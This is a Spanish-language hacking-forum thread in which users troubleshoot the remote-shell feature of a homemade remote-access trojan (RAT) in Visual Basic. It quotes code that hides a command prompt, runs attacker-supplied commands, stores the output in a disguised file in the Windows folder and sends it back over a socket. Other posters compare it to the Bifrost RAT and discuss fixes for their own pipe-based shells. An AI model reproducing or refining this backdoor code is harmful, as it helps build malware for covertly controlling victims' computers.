Ayuda con Shell Remota

[illuminat3d]

Nada.. sigue igual.

Código [Seleccionar] Expandir

Dim sCommand As String
sCommand = TextShell.Text
Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)

Open Environ("windir") & "KB008.txt" For Binary As #1
sCommand = Space$(LOF(1))
Get #1, , sCommand
Close #1

WS.SendData "ComandoShell|" & sCommand

Probe sin el : sCommand = TextShell.Text
Pero claramente te lo enviara en blanco.

Saludos!

Edit : KrakCar te agregue al msn por si me puedes ayudar, es que asi por el foro tardamos mucho.. Saludos!

[[VolkS]]

ajajaj KrackWar!!!!!!
ajjajajaja

[Hole_System]

Man no dejes de postear si lo solucionas, a mi me pasa cosas parecidas yo quisiera que me quedara igual que el del bifrost pero que va hay cosas que no comprendo, mañana sin falta te pongo el code que uso para la Shell, es usando Pipes, 2 inconvenientes que recuerdo son...

Que cuando tecleas un comando por ejemplo el Time, se marea porque el queda esperando que le introduzcas una fecha y tienes que cerrar la aplicacion.

El otro es por ejemplo el del Copiar.. d:\>copy *.txt c:\windows\config esto me da problemas porque el coje y busca en la carpeta donde el RAT se encuentra cualquier .txt y lo copia, en ves de buscar en la raiz de D: y copiar todos los *.txt

Que lo del copiar se arregla si pones toda la sintaxis asi..

d:\>copy d:\*.txt c:\windows\config

asi si funciona pero bueno jejeje quiero hacerlo mas kuki por asi decir...

Salu2